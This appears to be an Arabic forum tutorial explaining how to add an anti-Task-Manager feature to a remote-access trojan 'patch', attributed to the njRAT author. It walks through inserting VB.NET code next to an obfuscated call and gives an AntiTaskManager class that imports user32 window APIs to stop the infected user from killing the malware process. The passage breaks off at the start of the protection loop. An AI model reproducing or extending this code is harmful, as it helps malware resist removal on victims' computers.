.,":شرح اضافه خاصيه قتل او تخطي Process باباتش :",.باصور

نشوي فراغ عند كلمة

Module Module2
نكتبت تحت ذي كلمة

Dim c As New AntiTaskManager
Dim t As New Threading.Thread(AddressOf c.protect)

نحط فراغ تحت كلمة

PvpvQMryxTiAVTiOHrenNIrcY.DYxkLxrInuhEKMpNyRex(DEVPOINT, Application.ExecutablePath)
ونتكبت تحته
Call t.Start()

Public Class AntiTaskManager
' C0d3d bY njq8
<Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function EnableWindow(ByVal hWnd As IntPtr, ByVal bEnable As Boolean) As Boolean
End Function
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As _
IntPtr, ByRef lpdwProcessID As Integer) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As _
Integer, ByVal lpClassName As String, ByVal nMaxCount As Integer) As Integer
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _
hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Integer
Private Declare Auto Function GetWindowText Lib "user32.dll" (ByVal hwnd As Int32, _
ByVal lpString As System.Text.StringBuilder, ByVal cch As Int32) As Int32
Private Declare Auto Function GetWindowTextLength Lib "user32.dll" (ByVal hwnd As Int32) As Int32
Private Delegate Function EnumWindProc(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
Private Delegate Function EnumChildWindProc(ByVal hWnd As Int32, ByVal _
lParam As Int32) As Boolean
Private Declare Function EnumChildWindows Lib "user32" (ByVal hWnd As IntPtr, _
ByVal lpEnumFunc As EnumWindProc, ByRef lParam As IntPtr) As Int32
Private Function EnumChild(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
CLD.Add(hWnd)
Return True
End Function
Public Sub protect()
While True